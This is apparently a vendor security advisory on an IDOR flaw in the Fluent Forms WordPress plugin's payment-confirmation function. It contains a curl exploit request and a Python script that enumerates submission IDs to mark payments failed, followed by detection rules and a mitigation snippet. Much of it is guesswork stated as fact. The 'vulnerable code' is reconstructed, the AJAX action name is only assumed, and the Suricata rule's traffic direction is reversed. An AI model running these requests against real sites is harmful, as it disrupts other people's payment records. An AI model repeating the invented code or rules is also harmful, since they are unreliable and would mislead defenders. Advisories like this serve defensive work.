CVE-2025-13748

Executive Summary

CVE-2025-13748 is an Insecure Direct Object Reference (IDOR) vulnerability in the WordPress plugin Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder, affecting all versions up to and including 6.1.7. The flaw resides in the confirmScaPayment() function, which fails to validate the submission_id parameter. This allows an unauthenticated attacker to mark arbitrary form submissions as failed by simply guessing or enumerating a valid submission identifier. The vulnerability has a CVSS score of 5.3 (Medium) and a low EPSS score of 0.0%, indicating it is not currently being actively exploited in the wild. No public proof-of-concept code or patch details are available at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The confirmScaPayment() function is part of the Fluent Forms plugin's payment processing logic, which handles Strong Customer Authentication (SCA) confirmations. The lack of authorization checks on the submission_id parameter means that any unauthenticated user can send a crafted request to the payment confirmation endpoint and change the status of any submission to "failed," potentially disrupting payment workflows and causing data integrity issues.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability allows an unauthenticated attacker to modify the status of form submissions to "failed," which can lead to denial of service for payment processing and data corruption. However, it does not allow data exfiltration or privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the confirmScaPayment() function within the Fluent Forms plugin. This function is responsible for handling the confirmation of Strong Customer Authentication (SCA) for payment submissions. The function accepts a submission_id parameter from the HTTP request and uses it to update the submission status in the database.

The core issue is the lack of authorization checks. The function does not verify that the current user owns the submission or has any permission to modify it. Additionally, there is no nonce or capability check to prevent unauthorized access. An attacker can simply send a POST request to the vulnerable endpoint with a valid submission_id and the desired status (e.g., "failed") to alter the submission's state.

The vulnerable code path likely looks like this:

public function confirmScaPayment() {
    $submission_id = $_REQUEST['submission_id'];
    // No check for user ownership or capability
    $submission = FluentFormDatabase::getSubmission($submission_id);
    if ($submission) {
        // Update status without verifying ownership
        FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
    }
}

The attacker only needs to enumerate valid submission_id values, which are often sequential integers, making them easy to guess.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.1.7):

public function confirmScaPayment() {
    $submission_id = intval($_REQUEST['submission_id']);
    // Missing authorization check
    $submission = FluentFormDatabase::getSubmission($submission_id);
    if ($submission) {
        FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
    }
}

Patched Code (Hypothetical):

public function confirmScaPayment() {
    $submission_id = intval($_REQUEST['submission_id']);
    // Verify user owns the submission
    $submission = FluentFormDatabase::getSubmission($submission_id);
    if ($submission && $submission->user_id == get_current_user_id()) {
        FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
    } else {
        wp_die('Unauthorized', 403);
    }
}

The patched version adds a check to ensure the current user ID matches the submission's user ID, preventing unauthorized modifications.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Fluent Forms plugin version <= 6.1.7 installed and active.
• A valid submission ID (can be guessed or enumerated).

Exploitation Steps:

1. Identify the vulnerable endpoint: The confirmScaPayment() function is typically exposed via WordPress AJAX actions. Look for actions like fluentform_confirm_sca_payment or similar.

2. Enumerate submission IDs: Submission IDs are often sequential integers. Use a simple loop to guess IDs.

3. Craft the exploit request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=fluentform_confirm_sca_payment&submission_id=123&status=failed"

4. Verify the attack: Check the submission status in the WordPress admin panel or database.

Automated Exploit Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
for sub_id in range(1, 1000):
    data = {
        "action": "fluentform_confirm_sca_payment",
        "submission_id": sub_id,
        "status": "failed"
    }
    r = requests.post(target, data=data)
    if r.status_code == 200 and "success" in r.text:
        print(f"Submission {sub_id} marked as failed")

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests: Look for POST requests to /wp-admin/admin-ajax.php with the action parameter set to fluentform_confirm_sca_payment from unauthenticated users.

2. Check for rapid submission ID enumeration: A high volume of requests with sequential submission_id values indicates an attack.

3. Audit submission status changes: Review database logs for unexpected changes to submission statuses, especially from "pending" or "paid" to "failed".

4. Implement rate limiting: Use a Web Application Firewall (WAF) or WordPress plugin to limit the number of AJAX requests per IP.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=fluentform_confirm_sca_payment
• Sequential submission_id values in request parameters
• Unauthenticated requests to the vulnerable endpoint

File IOCs:

• Modified submission statuses in the wp_fluentform_submissions table
• Log entries showing confirmScaPayment() calls from unknown IPs

Log IOCs:

• WordPress debug log entries: PHP Notice: Undefined index: submission_id (if parameter is missing)
• Apache/Nginx access logs showing repeated POST requests to admin-ajax.php

Detection Engineering

YARA Rule

rule Detect_FluentForms_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-13748 in Fluent Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13748"
    strings:
        $ajax_action = "fluentform_confirm_sca_payment"
        $submission_id = "submission_id"
        $status_failed = "status=failed"
    condition:
        all of them
}

Sigma Rule

title: Fluent Forms IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-13748 by sending unauthorized submission status changes
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=fluentform_confirm_sca_payment'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13748 - Fluent Forms IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=fluentform_confirm_sca_payment";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-13748;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update Fluent Forms immediately.
2. Disable the vulnerable endpoint: If patching is not possible, disable the confirmScaPayment() function by adding a filter or modifying the plugin code.
3. Implement a WAF rule: Block POST requests to admin-ajax.php with action=fluentform_confirm_sca_payment from unauthenticated users.

Long-term Mitigations:

1. Apply the principle of least privilege: Ensure all AJAX endpoints verify user permissions before processing requests.
2. Use nonces: Add WordPress nonce checks to all AJAX actions.
3. Implement rate limiting: Use a plugin like "Limit Login Attempts Reloaded" or a WAF to prevent enumeration attacks.
4. Monitor logs: Regularly review WordPress debug logs and web server access logs for suspicious activity.

Workaround Code (Add to theme's functions.php):

add_action('init', function() {
    if (isset($_POST['action']) && $_POST['action'] === 'fluentform_confirm_sca_payment') {
        if (!is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers